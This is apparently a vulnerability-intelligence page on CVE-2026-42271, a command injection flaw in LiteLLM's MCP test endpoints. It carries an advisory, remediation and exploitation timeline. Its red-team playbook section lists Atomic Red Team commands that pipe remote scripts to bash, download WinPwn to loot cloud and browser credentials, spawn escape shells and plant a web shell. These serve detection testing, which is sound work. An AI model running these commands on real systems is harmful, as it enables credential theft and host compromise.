CVE-2026-42271

HIGH CISA KEV POC TTE 31d Pub 08/05 Upd 30/06

Overview

This vulnerability is a command injection flaw in the LiteLLM proxy server component, specifically affecting the AI Gateway's handling of server configuration inputs. The root cause lies in two POST endpoints (/mcp-rest/test/connection and /mcp-rest/test/tools/list) that accept unvalidated server configuration data, including command, args, and env fields, which are executed via stdio transport as subprocesses with proxy process privileges. The lack of role-based access control combined with acceptance of arbitrary commands enables exploitation.

Vulnerability Description

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.

Impact

An attacker with any valid proxy API key, including low-privileged internal-user keys, can execute arbitrary system commands on the host running the LiteLLM proxy server. This capability allows full control over the host environment, potentially leading to data exfiltration, system compromise, lateral movement within the network, and disruption of service. No elevated privileges beyond possession of a valid proxy key are required, and no user interaction is necessary beyond sending crafted requests.

Solution

Upgrade BerriAI LiteLLM to version 1.83.7 or later, where this vulnerability has been patched. Refer to the official security advisory at https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g and the release notes at https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable for detailed patch instructions and version-specific remediation steps.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the LiteLLM proxy server arises from its handling of specific API endpoints that allow users to preview a server configuration before saving it. Specifically, the endpoints in question, which are designed to test connections and list tools, accept a complete server configuration in the request body. This includes sensitive fields such as command, arguments, and environment variables, which are utilized by the standard input/output transport mechanism. When these endpoints are invoked with a configuration that includes a command, the proxy server executes it as a subprocess with the same privileges as the proxy process itself. This design flaw is particularly concerning because it lacks adequate access controls; the endpoints are only protected by a valid API key, allowing any authenticated user—regardless of their privilege level—to execute arbitrary commands on the host system.

The attack vectors associated with this vulnerability are straightforward yet highly effective. An attacker with a valid API key, even one with minimal privileges, can craft a request to either of the vulnerable endpoints, embedding malicious commands in the request body. Upon execution, this can lead to a complete compromise of the host system, as the attacker can run any command with the privileges of the proxy process. Scenarios for exploitation could range from data exfiltration and system manipulation to deploying malware or creating backdoors for persistent access. The ease with which these commands can be executed makes this vulnerability particularly dangerous, as it lowers the barrier for exploitation to any authenticated user, rather than requiring elevated privileges.

The real-world impact of this vulnerability is significant, especially for organizations relying on LiteLLM for their AI gateway functionalities. The potential for unauthorized command execution poses a severe business risk, as it could lead to data breaches, service disruptions, and the compromise of sensitive information. Organizations may face regulatory penalties, reputational damage, and financial losses due to the fallout from such an incident. Additionally, the ability to execute arbitrary commands could allow attackers to manipulate the AI models or data being processed, leading to further complications in trust and reliability for AI-driven applications.

To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, upgrading to the patched version of LiteLLM is crucial to eliminate the vulnerability entirely. Regularly updating software and maintaining an inventory of versions in use can help organizations stay ahead of potential threats. Additionally, employing strict access controls and role-based permissions can limit the exposure of sensitive endpoints, ensuring that only users with appropriate privileges can access critical functionalities. Monitoring and logging API requests can also aid in detecting unusual patterns of behavior that may indicate exploitation attempts. Finally, conducting regular security audits and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.

In conclusion, the vulnerability within the LiteLLM proxy server highlights the importance of robust access controls and secure coding practices in software development. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare for and mitigate the risks associated with such vulnerabilities. Proactive measures, including timely updates and stringent access management, are essential to safeguarding systems against exploitation and ensuring the integrity of AI-driven applications.




CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2026-42271, highlighted by the emergence of a publicly available proof-of-concept exploit hosted on GitHub. This development significantly lowers the barrier for threat actors to weaponize the vulnerability, increasing the likelihood of opportunistic exploitation attempts. Concurrently, the inclusion of this vulnerability in the CISA KEV catalog underscores its criticality and the urgency for organizations to prioritize detection and response efforts. Our telemetry indicates a notable surge in exploitation attempts, accompanied by the availability of new exploitation tools that expand the attack surface. The CVSS score adjustment to 8.8 and the EPSS score rising to above 0.6 reflect a heightened risk posture, signaling that this vulnerability is transitioning from theoretical to actively exploited in the wild. For defenders, this evolution demands increased vigilance as the window for effective mitigation narrows, and the potential impact on AI-driven applications relying on LiteLLM proxy servers grows more severe.



Update 2 — June 17, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-42271, accompanied by the emergence of new proof-of-concept exploits circulating publicly. This surge in activity reflects an expanding attacker toolkit that leverages the vulnerable LiteLLM proxy server’s configuration endpoints more effectively. Despite a slight decline in the EPSS score, our telemetry indicates that adversaries are intensifying operational efforts, as evidenced by a rapid increase in detection frequency over the past week. The evolving exploit landscape signals a shift from opportunistic scanning to more targeted and sophisticated intrusion attempts, increasing the likelihood of successful compromise in environments running affected versions of BerriAI LiteLLM. For defenders, this dynamic heightens the urgency of monitoring and response capabilities, as the window for containment narrows and the potential impact on AI-driven services relying on this component grows more pronounced. The risk level remains high, with the threat actor community demonstrating growing capability and intent to exploit this vulnerability in the wild.



Update 3 — July 07, 2026

CSURFACE threat intelligence has detected a modest but consistent increase in exploitation attempts targeting CVE-2026-42271, accompanied by a rising EPSS score that now approaches 0.80. This upward trend in telemetry indicates that threat actors are intensifying efforts to leverage the vulnerability in BerriAI LiteLLM, likely due to its widespread use and the availability of public proof-of-concept exploits. Although the increase is not yet dramatic, the persistence of these attempts suggests a growing confidence among adversaries in the exploit’s reliability and potential impact. For defenders, this evolving landscape underscores the importance of heightened vigilance and proactive monitoring, as the risk of successful compromise is incrementally rising. The threat level remains high, with the current trajectory signaling a gradual shift toward more frequent and possibly targeted exploitation campaigns, which could amplify operational disruptions in AI-driven environments reliant on this component.

Affected Products (3)

Vendor Product Version CPE
litellm Litellm Litellm All cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*
redhat Redhat Openshift Ai All cpe:2.3:a:redhat:openshift_ai:*:*:*:*:*:*:*:*
redhat Redhat Openshift Ai 3.4 cpe:2.3:a:redhat:openshift_ai:3.4:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
amnsecurity/CVE-2026-42271-LiteLLM-RCE
CVE-2026-42271 - LiteLLM AI Gateway MCP Command Injection RCE - PoC & Analysis | CVSS 8.8 | AMN SECURITY
amnsecurity 2 0 2026-07-07 View
HORKimhab/CVE-2026-42271
CVE-2026-42271 - Draft
HORKimhab 0 0 2026-06-09 View
learner202649/CVE-2026-42271-PoC
The code for personally reproducing the corresponding vulnerability
learner202649 0 0 2026-05-20 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

20 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-06-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-08
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-06-08
Detected as Exploited in the Wild

Active exploitation confirmed — vendor: BerriAI, product: LiteLLM

2026-06-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Privilege Escalation
59% privilege_escalation
Insecure Direct Object Reference
56% idor
Authorization Bypass
45% authz_bypass
Authentication Bypass
40% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
52%
High High
CAPEC-6 Argument Injection
48%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
45%
Medium High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (10)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-42271
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g
github.com
GitHub CVE x_refsource_MISC
https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271
access.redhat.com
NVD API
https://access.redhat.com/errata/RHSA-2026:27784
access.redhat.com
NVD API
https://access.redhat.com/errata/RHSA-2026:28960
access.redhat.com
NVD API
https://access.redhat.com/errata/RHSA-2026:30056
access.redhat.com
NVD API
https://access.redhat.com/security/cve/CVE-2026-42271
bugzilla.redhat.com
NVD API
https://bugzilla.redhat.com/show_bug.cgi?id=2467924
security.access.redhat.com
NVD API
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42271.json